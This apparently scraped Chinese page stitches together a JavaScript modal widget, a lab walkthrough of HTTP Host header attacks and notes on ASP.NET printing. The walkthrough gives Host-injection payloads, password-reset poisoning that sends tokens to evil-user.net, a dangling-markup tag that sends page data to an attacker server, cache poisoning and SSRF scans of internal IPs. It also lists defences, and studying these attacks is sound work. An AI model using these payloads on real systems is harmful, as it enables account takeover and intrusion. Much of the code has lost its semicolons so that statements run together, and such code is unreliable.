我这里有个代码,你拿去研究吧
<script>
var dragDrop = function(dragArea,moveArea){//拖拽
this.dragArea = dragArea
this.moveArea = moveArea
this.xdom = null
this.mask = null//遮挡iframe
this.x = 0
this.y = 0
this.dbsw = top.document.scrollWidth
this.dbsh = top.document.scrollHeight
this.init()
}
dragDrop.prototype = {
getPosition:function(){//取元素坐标,如元素或其上层元素设置position relative,应该getpos(子元素).y-getpos(父元素).y
return document.documentElement.getBoundingClientRect &&function(o){//IE,FF,Opera
var pos = o.getBoundingClientRect(), root = o.ownerDocument || o.document
return {x:pos.left+root.documentElement.scrollLeft,y:pos.top+root.documentElement.scrollTop}
} || function(o){//Safari,Chrome,Netscape,Mozilla
var x = 0, y = 0
do{x += o.offsetLefty += o.offsetTop}while((o=o.offsetParent))
return {'x':x,'y':y}
}
}(),
setPos:function(obj,x,y){
obj.style.left = x + "px"
obj.style.top = y + "px"
},
mDown:function(e){
var isWK = (/applewebkit/i.test(navigator.appVersion.replace(/\s/g,'')))
var pos = this.getPosition(this.moveArea)
this.x = (isWK)?e.offsetX:(e.clientX-pos.x)
this.y = (isWK)?e.offsetY:(e.clientY-pos.y)
pos = null
if(this.dragArea.setCapture){this.dragArea.setCapture()}else{e.preventDefault()}
this.mask.style.left = this.xdom.parentNode.scrollLeft+'px'
this.mask.style.top = this.xdom.parentNode.scrollTop+'px'
this.mask.style.display = 'block'
this.xdom.onmousemove = this.mMove.bind(this)
this.xdom.onmouseup = this.mUp.bind(this)
},
mMove:function(e){
this.dragArea.style.cursor = "move"
e = e||window.event
var mx = (e.clientX - this.x)
var my = (e.clientY - this.y)
var rx = this.xdom.offsetWidth-this.moveArea.offsetWidth
var ry = this.xdom.offsetHeight-this.moveArea.offsetHeight
mx = (mx<=0)?0:(mx>=rx)?rx:mx
my = (my<=0)?0:(my>=ry)?ry:my
this.setPos(this.moveArea,mx,my)
},
mUp:function(e){
this.dragArea.style.cursor = "default"
e = e||window.event
var mx = (e.clientX - this.x)
var my = (e.clientY - this.y)
var rx = this.xdom.offsetWidth-this.moveArea.offsetWidth
var ry = this.xdom.offsetHeight-this.moveArea.offsetHeight
mx = (mx<=0)?0:(mx>=rx)?rx:mx
my = (my<=0)?0:(my>=ry)?ry:my
this.setPos(this.moveArea,mx,my)
if(this.dragArea.releaseCapture){this.dragArea.releaseCapture()}
this.mask.style.display = 'none'
this.xdom.onmousemove = function(){}
this.xdom.onmouseup = function(){}
},
init:function(){
if(Function.prototype.bind==undefined){
Function.prototype.bind = function(obj){
var owner = this,args = Array.prototype.slice.call(arguments),callobj = Array.prototype.shift.call(args)
return function(e){e=e||top.window.event||window.eventowner.apply(callobj,[e].concat(args))}
}
}
var ieop = (/(?:microsoft|opera)/i.test(navigator.appName))
var xDom = (window.top.document==document)?document:(window.top.document.body.tagName!='BODY')?document:window.top.document
this.xdom = (window.top.document==document)?document.body:(window.top.document.body.tagName=='BODY')?window.top.document.body:(ieop)?document.body:window.top.document.documentElement
var xdoc = xDom.createDocumentFragment()
this.mask = xDom.createElement('div')
this.mask.style.cssText = 'display:noneposition:absoluteleft:0top:0width:110%height:110%overflow:hiddenbackground:#000-moz-opacity:0opacity:0filter:alpha(opacity=0)z-index:9999'
xdoc.appendChild(this.mask)
this.xdom.appendChild(xdoc)
xDom = xdoc = null
this.moveArea.style.position = "absolute"
this.moveArea.style.zIndex = 10000
this.dragArea.onmousedown = this.mDown.bind(this)
}
}
var maskTips = function(width,height){//遮罩提示框
this.width = width||500
this.height = height||400
this.xdom = null
this.mask = null
this.ifr = null
this.layer = null
this.title = null
this.content = null
this.isOpen = false
this.init()
}
maskTips.prototype = {
getStyle:function(dom,stylename){
if(dom.currentStyle){
return dom.currentStyle[stylename]
}else{
return window.getComputedStyle(dom,null).getPropertyValue(stylename)
}
},
open:function(width,height){
var xdom = this.xdom.documentElementxelm = this.xdom.bodywidth = width||this.widthheight = height||this.height
xdom.style.width = '100%'xdom.style.height = '100%'xdom.style.overflow = 'hidden'
xelm.style.width = '100%'xelm.style.height = '100%'xelm.style.overflow = 'hidden'
this.ifr.style.left = xdom.scrollLeft+'px'
this.ifr.style.top = xdom.scrollTop+'px'
this.ifr.style.display = 'block'
this.mask.style.left = xdom.scrollLeft+'px'
this.mask.style.top = xdom.scrollTop+'px'
this.mask.style.display = 'block'
this.content.style.width = width-10+'px'
this.content.style.height = height-40+'px'
var left = xdom.scrollLeft+xdom.offsetWidth/2-(width/2)+'px'
var top = xdom.scrollTop+this.mask.offsetHeight/2-(height/1.8)+'px'
this.layer.style.width = width+'px'
this.layer.style.height = height+'px'
this.layer.style.left = left
this.layer.style.top = top
this.layer.style.display = 'block'
this.isOpen = true
},
hide:function(){
this.layer.style.display = 'none'
this.mask.style.display = 'none'
this.ifr.style.display = 'none'
var xdom = this.xdom.documentElement,xelm = this.xdom.body
xdom.style.width = 'auto'xdom.style.height = 'auto'xdom.style.overflow = 'auto'
xelm.style.width = 'auto'xelm.style.height = 'auto'xelm.style.overflow = 'auto'
this.isOpen = false
},
init:function(){
var cssMask = 'display:noneposition:absoluteleft:0top:0width:110%height:110%overflow:hiddenbackground:#000-moz-opacity:0.6opacity:0.6filter:alpha(opacity=60)z-index:101border:none'
var cssIfr = 'display:noneposition:absoluteleft:0top:0width:110%height:110%overflow:hiddenbackground:#fff-moz-opacity:0opacity:0filter:alpha(opacity=0)z-index:100border:none'
var cssLayer = 'display:noneposition:absoluteleft:0top:0width:'+this.width+'pxheight:'+this.height+'pxoverflow:hiddenzoom:1background:whiteborder:5px solid #dddz-index:102padding:0'
var ieop = (/(?:microsoft|opera)/i.test(navigator.appName))
var xDom = (window.top.document==document)?document:(window.top.document.body.tagName!='BODY')?document:window.top.document
var xElm = (window.top.document==document)?document.body:(window.top.document.body.tagName=='BODY')?window.top.document.body:(ieop)?document.body:window.top.document.documentElement
this.xdom = xDom
var xdoc = xDom.createDocumentFragment()
this.mask = xDom.createElement('div')
this.ifr = xDom.createElement('iframe')
this.layer = xDom.createElement('div')
xdoc.appendChild(this.ifr)
xdoc.appendChild(this.mask)
xdoc.appendChild(this.layer)
this.layer.innerHTML = '<div style="height:30pxbackground:#dddtext-align:rightoverflow:hiddenzoom:1"><h3 style="float:leftmargin:0padding:0font-size:12px">上传完毕后请点关闭按钮</h3><button style="width:25pxfont-size:12pxpadding:0text-align:center">×</button></div><div class="tips-bd" style="width:'+(this.width-10)+'pxheight:'+(this.height-40)+'pxpadding:5pxoverflow:auto">这里是内容</div><div class="tips-ft"></div>'
this.mask.style.cssText = cssMask
this.ifr.style.cssText = cssIfr
this.layer.style.cssText = cssLayer
this.title = this.layer.childNodes[0].childNodes[0]
this.content = this.layer.childNodes[1]
new dragDrop(this.layer.childNodes[0],this.layer)
this.layer.getElementsByTagName('button')[0].onclick = (function(o){return function(){o.hide()}})(this)
window.setTimeout(function(){xElm.appendChild(xdoc)xDom = xElm = xdoc = null})
}
}
var x = new maskTips(300,200)
function openDiv(){
x.open(750,700)
750宽度,700高度
}
</script>
凋用方法:openDiv()
如<input type="button" onclick="openDiv" value="点" />
1. HTTP Host头攻击从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如,当用户访问https://example.net/web-security时,其浏览器将组成一个包含Host标头的请求,如下所示:
GET /web-security HTTP/1.1
Host: example.net
HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确,则在将传入请求的应用程序时可能会导致问题。
从历史上看,这种漏洞并不存在太大问题,因为每个IP地址只会被用于单个域的内容。如今,很大程度上是由于同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。
当可以通过同一IP地址访问多个应用程序时,最常见的原因是以下情况之一:
虚拟主机
单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站,但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。
通过代理路由流量
网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络(CDN)访问网站的情况下,这种设置尤其普遍。
在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求到的哪个后端上。
HTTP Host头的作用就在于,指定请求应该发送到那个应用程序的后端服务器上。打个比方,一封信需要送到居住在公寓楼中的某人手中,整个公寓有许多房间,每个房间都可以接受信件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。
3. 什么是HTTP Host头攻击
一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头,未校验它的合法性,则攻击者可能能够使用此可控变量来注入Host,以操纵服务器端的行为。
现成的Web应用程序通常不知道将它们部署在哪个域上,除非在安装过程中在配置文件中手动指定了该域。例如,当他们需要知道当前域以生成电子邮件中包含的绝对URL时,他们可能依赖于Host头中的值:
<a href="https://_SERVER['HOST']/support">联系支持</a>
Host头值还可以用于不同网站系统之间的各种交互。
由于Host头实际上是用户可控制的,因此这种做法可能导致许多问题。如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:
缓存投毒
特殊业务功能的逻辑漏洞
基于路由的SSRF
经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等
4. 如何发掘HTTP Host头攻击
首先要判断服务端是否检测Host头?检测完了是否还使用Host头的值?
通过修改Host的值,如果服务端返回错误信息:
30b04453d11b44a56c903cc387f17296.png
则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种方法去发掘:
修改Host值
简单的来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。
但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。
添加重复的Host头
添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
使用绝对路径的URL
尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。
GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
有时候也可以尝试不同的协议,如HTTP或HTTPS。
添加缩进或换行
当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆盖Host头的字段
与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
诸如此类,还有其他的字段:
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
忽略端口仅校验域名
当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。
比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。
5. HTTP Host头攻击漏洞示例
5.1 密码重置中毒
根据HTTP Host头攻击的攻击特点,它被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码情况下生成的密码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户密码的令牌。
1c2aa7d6f7e77ca7c2bd09feee527087.png
一个重设密码(忘记密码)功能的大致流程如下:
用户输入其用户名或电子邮件地址,然后提交密码重置请求。
该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。
该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中:
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。
以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。
密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。
如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:
1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net
2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上
4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。
5.1.1 密码重置中毒—基础
详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。
首先输入用户名或者用户的电子邮箱来重置指定用户的密码:
534a1d062ccc3813b6596fdec0bb475b.png
提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):
7c47a2e653a4fcbbaeae1687f914d093.png
注意重置密码的链接,可能是受Host头的值的影响?
我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:
8901c053cc8c3e6f0383f5f61b14d549.png
发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。
这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器:
ec1f439fbc6013f1b4f71011a2885947.png
然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token:
c3b81283ee2a440dcf205a1ab344ab32.png
然后根据已知链接规律,构造重置密码的链接:
https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7
1a4ba4a58416c68b3f513ba1239f76d9.png
随即进入输入新密码的界面,密码重置中毒成功。
5.1.2 密码重置中毒—注入覆盖Host头的字段
有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
3ca0c53bfef0d9b47a9f788eb484f40f.png
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
cbb645bac4d5b28e8b91c39b174a0767.png
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。
对受害用户carlos进行密码重置投毒:
53fd95a8a051dd84951094b4e3e79502.png
然后构造链接即可:
https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h
efb5ab58ec4a711faa6f4dac736e069a.png
5.1.3 重置密码中毒—Dangling Markup技术
首先简单介绍一下 Dangling Markup技术:
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。
例如,我们在反射型XSS注入点上注入这样一个img标签:
<img src="https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
67a4c2bc755ebbb44847d23189d30422.png
有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。
此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。
第一步,寻找Host头攻击点:
通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):
904608f5a5bb3404d1ef62f6c92481b9.png a59bf77cc52ad88158c7fdc06202e54b.png
通过在Host头的端口中注入payload,依旧可以实现Host头攻击。
第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:
注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=xxx.attack-domain>标签将密码外带:
184e31cb9b0426e30db33340e2e16c91.png
原本的正常HTML是这样的:
ed4e92688d41cd5e90434d73f12aa811.png
通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:
b90e561f45ba0a4e1df4f0363069921e.png
这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:
可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)
在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:
d1f9d32d9c0a753a3088e81d382ce9e6.png
5.2 Host头攻击+缓存投毒
当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。
但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:
1. 需要寻找映射到其他用户请求的缓存键;
2. 下一步则是缓存此恶意响应;
3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。
第一步,寻找Host头攻击点:
通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:
b09b4eeacd00d364633ccda68d1de500.png
第二步,寻找是否使用了Web缓存?缓存键是什么?
从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存/resources/js/tracking.js资源文件。
第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件,内容为:
alert(document.cookie)
然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件:
8458208389ca34f2736aea5e82afc11e.png
发送多次请求,使该请求的响应变为缓存:
200f4558b179f6aa8cd8bda18f763b66.png
当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。
5.3 Host头攻击绕过访问控制
出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。
对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:
第一步,访问主页,随意修改Host的值:
9649967593356ece9722484a91980ff3.png
注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。
第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:
d3fd91199b6c914ec44a0b7659f56e1d.png
可以错误信息提示,/admin 页面只允许本地用户访问。
第三步,将Host改为服务端内部地址,从而绕过IP访问控制:
c66736849f5149d01997ea9edbf9f1ce.png
5.4 Host头攻击+SSRF
Host头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。
经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向代理,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。
这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。
5.4.1 基础Host头攻击+SSRF
比如,普通方式访问不到 /admin 页面(404):
774952d6bc5c1f9c84078f832d213f06.png
猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。
第一步,判断Host是否被使用,可用DNSLog外带
这里我使用Burp自带的 “Burp Collaborator client” 来实现外带:
fe89ddd297619cc7283a92ba551a877e.png
说明服务端是根据Host头的域名来请求资源的。
第二步,基于Host头的SSRF探测内网主机
假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:
a450a6e1f580ed2201f1e7a20d8c7395.png 8f19202c9c4fc0a81696f084f2066d1d.png
得到内网IP为192.168.0.240
第三步,访问内网资源
构造 /admin 页面,在Host处换位内网IP:
4522a7e735f469b8221d677c8b6a1966.png
5.4.2 Host头攻击+SSRF—使用绝对路径的URL
有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:
591a625e712178e117db63b2d5e217fc.png
普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:
GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1
4030f968be73cbd6bf90f8e61dde4d2a.png
接着用 “Burp Collaborator client” 进行外带:
6b68718a8514a4b9803f40b8d227d959.png
外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:
675515a890884884ce25786619575ca2.png
访问内网页面:
4e7c3841b5c7ee2aaa0e6f3bf75e4bad.png
6 HTTP Host头攻击防护
最简单的方法是避免在服务器端代码中完全使用Host头,可以只使用相对URL。
其他方法包括:
6.1 正确配置绝对域名URL
当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。
6.2 白名单校验Host头的域
如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。
6.3 不支持主机头覆盖
确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。
关于ASP.NET页面打印技术的总结B/S结构导致了Web应用程序中打印的特殊性。
• 程序运行在浏览器中,打印机在本地,而文件确可能在服务器上,导致了打印控制不是很灵活。
• 格式如何控制和定制等,是我们开发中可能会面对的问题。
打印文档的生成
• 1、客户端脚本方式
一般情况下,主要使用JS 可以分析源页面的内容,将欲打印的页面元素提取出来,实现打印。通过分析源文档的内容,可以生成打印目标文档。
优点:客户端独立完成打印目标文档的生成,减轻服务器负荷
缺点:源文档的分析操作复杂,并且源文档中的打印内容要有约定。
• 2、服务器端程序方式
利用后台代码从数据库中读取打印源,生成打印目标文档。当的页面生成时,还应适当考虑使用CSS 来实现强制分页控制。
优点:可以生成内容非常丰富的打印目标文档,目标文档的内容的可控性强。由于打印内容是从数据库中获取的,所以生成操作相对简单
缺点:服务器端负载比较大
页面设置
• 页面设置主要是指设置打印文档的页边距、页眉、页脚、纸张等内容。页面设置将直接影响到打印文档版面的生成效果,所以它和打印文档的生成有着密切的关系。比如:表格的行数、大小、位置、字体的大小等。
现有的技术是利用IE6.0 内置的打印模板方式来控制页面设置,其可以对打印目标文档产生非常大的影响。打印模板可以控制页边距、页眉、页脚、奇偶页等内容,并可以将用户的设置取得,还可以将设置发送到服务器端。打印模板技术可以自定预览窗口和打印格式,最大限度地影响目标文档和打印效果。
IE直接打印
• 即直接调用window.print或者webrower控件的ExecWB方法来打印。
• 优点:方便快捷,客户端无需任何设置即可。
• 缺点:打印控制不是很灵活。如果直接调用
window.print来打印页面,页面上别的元素也会被打印处理,页头页尾的格式也不好控制。
• 常用方法:大部分情况会把查询的结果绑定到DataGrid上来,然后打印DataGrid。这种情况的打印一般来说格式比较固定简单,确定后基本不会再作更改。所以可以采用IE直接打印。
【实例代码】
注:①这是客户端通过window.print打印指定内容。这里定义sprnstr和eprnstr来指定内容
执行代码:
<input type="button" name="print" value="预览并打印" onclick="preview()">
②如果直接使用window.print将打印页面上的所有内容,但是我们可以使用
<script language="Javascript">
function preview()
{
bdhtml=window.document.body.innerHTML
sprnstr="<!--startprint-->"
eprnstr="<!--endprint-->"
prnhtml=bdhtml.substr(bdhtml.indexOf(sprnstr)+17)
prnhtml=prnhtml.substring(0,prnhtml.indexOf(eprnstr))
window.document.body.innerHTML=prnhtml
window.print()
}
</script>
<!--省略部分代码-->
<form id="WebForm1" method="post" runat="server">
<center>本部分以上不被打印</center>
<!--startprint-->
<div align="center">
<asp:DataGrid id="dgShow" runat="server">
<!--省略部分代码-->
</asp:DataGrid>
</div>
<!--endprint-->
<center>本部分以下不被打印</center>
<div align="center">
<input type="button" name="print" value="预览并打印" onclick="preview()">
</div>
<style>@media Print { .Noprn { DISPLAY: none }}
</style>
<p class="Noprn">不打印</p>
<table id="datagrid">
<tr>
<td>打印</td>
</tr>
</table>
<input class="Noprn" type="button" onclick="window.print()" value="print">
</form>
WebBrowser 控件技术
• 打印操作的实现
此功能的实现主要是利用WebBrowser控件的函数接口来实现打印、打印预览(默认的)、
页面设置(默认的)。
<object ID=‘WebBrowser1’ WIDTH=0 HEIGHT=0
CLASSID=‘CLSID:8856F961-340A-11D0-A96B-00C04FD705A2’>
//打印
WebBrowser1.ExecWB(6,1)
//打印设置
WebBrowser1.ExecWB(8,1)
//打印预览
WebBrowser1.ExecWB(7,1)
//直接打印
WebBrowser1.ExecWB(6,6)
//自定义类PrintClass
public string DGPrint(DataSet ds)
{
//DGPrint执行的功能:根据DataTable转换成对应的HTML对应的字符串
DataTable myDataTable=new DataTable()
myDataTable=ds.Tables[0]
int myRow=myDataTable.Rows.Count
int myCol=myDataTable.Columns.Count
StringBuilder sb=new StringBuilder()
string colHeaders="<html><body>"+"<object ID='WebBrowser' WIDTH=0 HEIGHT=0 CLASSID='CLSID:8856F961-340A-11D0-A96B-00C04FD705A2'VIEWASTEXT></object>" +"<table><tr>"
for(int i=0i<myColi++)
{
colHeaders +="<td>"+ myDataTable.Columns[i].ColumnName.ToString()+"</td>"
}
colHeaders += "</tr>"
sb.Append(colHeaders)
for(int i=0i<myRowi++)
{
sb.Append("<tr>")
for(int j=0j<myColj++)
{
sb.Append("<td>")
sb.Append(myDataTable.Rows[i][j].ToString().Trim())
sb.Append("</td>")
}
sb.Append("</tr>")
}
sb.Append("</table></body></html>")
colHeaders=sb.ToString()
colHeaders+="<script languge='Javascript'>WebBrowser.ExecWB(6,1)window.opener=nullwindow.close()</script>"
return(colHeaders)
}
//页面:打印按钮事件
PrintClass myP = new PrintClass()
Response.Write(myP.DGPrint(Bind())
在把DataGrid转换为对应的HTML代码时,如果存在按钮列就会报错,最好把这一列隐藏,一般只能转换数据列。其次要注意分页问题,一般只能打印当前一页,最好在打印之前除掉分页
导出到Excel,Word中去打印
• 可以在服务端或者客户端进行。
• 优点:使用这种方法,可适应性比较强,控制较好。
• 缺点:在服务端使用的话,要求服务端要安装Word,Excel,在客户端使用的话,要
求客户端在IE的安全设置上有一定要求。
代码如下:
protected void btnMIME_Click(object sender, System.EventArgs e)
{
BindData()
Response.ContentType = "application/vnd.ms-excel"
Response.AddHeader("Content-Disposition", "inlinefilename="+HttpUtility.UrlEncode("下载文件.xls",Encoding.UTF8))
//如果输出为Word,修改为以下代码
//Response.ContentType = "application/ms-word"
//Response.AddHeader("Content-Disposition", "inlinefilename=test.doc")
StringBuilder sb=new StringBuilder()
System.IO.StringWriter sw = new System.IO.StringWriter(sb)
System.Web.UI.HtmlTextWriter hw = new System.Web.UI.HtmlTextWriter(sw)
sb.Append("<html><body>")
dgShow.RenderControl(hw)
sb.Append("</body></html>")
Response.Write(sb.ToString())
Response.End()
}
protected void btnCom_Click(object sender, System.EventArgs e)
{
ExportToExcel(BindData(),Server.MapPath("ComExcel.xls"))
}
//从DataSet到出到Excel
#region从DataSet到出到Excel
///导出指定的Excel文件
public void ExportToExcel(DataSet ds,string strExcelFileName)
{
if (ds.Tables.Count==0 || strExcelFileName=="") return
doExport(ds,strExcelFileName)
}
///执行导出
private void doExport(DataSet ds,string strExcelFileName)
{
excel.Application excel= new excel.Application()
int rowIndex=1
int colIndex=0
excel.Application.Workbooks.Add(true)
System.Data.DataTable table=ds.Tables[0]
foreach(DataColumn col in table.Columns)
{
colIndex++
excel.Cells[1,colIndex]=col.ColumnName
}
foreach(DataRow row in table.Rows)
{
rowIndex++
colIndex=0
foreach(DataColumn col in table.Columns)
{
colIndex++
excel.Cells[rowIndex,colIndex]=row[col.ColumnName].ToString()
}
}
excel.Visible=false
excel.ActiveWorkbook.SaveAs(strExcelFileName+".XLS",Excel.XlFileFormat.xlExcel9795,null,null,false,false,Excel.XlSaveAsAccessMode.xlNoChange,null,null,null,null,null)
excel.Quit()
excel=null
GC.Collect()//垃圾回收
}
#endregion
利用.Net组件打印
利用.Net组件
• 优点:这种打印方式对于格式变化大,数据量小的应用来说非常合适。
• 缺点:
– 需要客户端安.Net framework组件。
– Xml的解析上,如果文件较大速度上不是很理想。
– 页面首次加载时会有明显的延时。
使用XSL和XSLT转换Xml
• XSL:扩展样式表语言,可以通过它来把Xml转换为其他的文本格式
• XSL转换包括发现或者选择一个模式匹配,通过使用XPath选择一个结果集,然后对结果集中的每一项,为这些匹配定义结果输出。
• XSL是一个功能强大的工具,可以把Xml转换成任何你想要的格式。
代码如下:
XslTransform xslt = new XslTransform()
xslt.Load(Server.MapPath( "StudentsToHTML.xsl") )
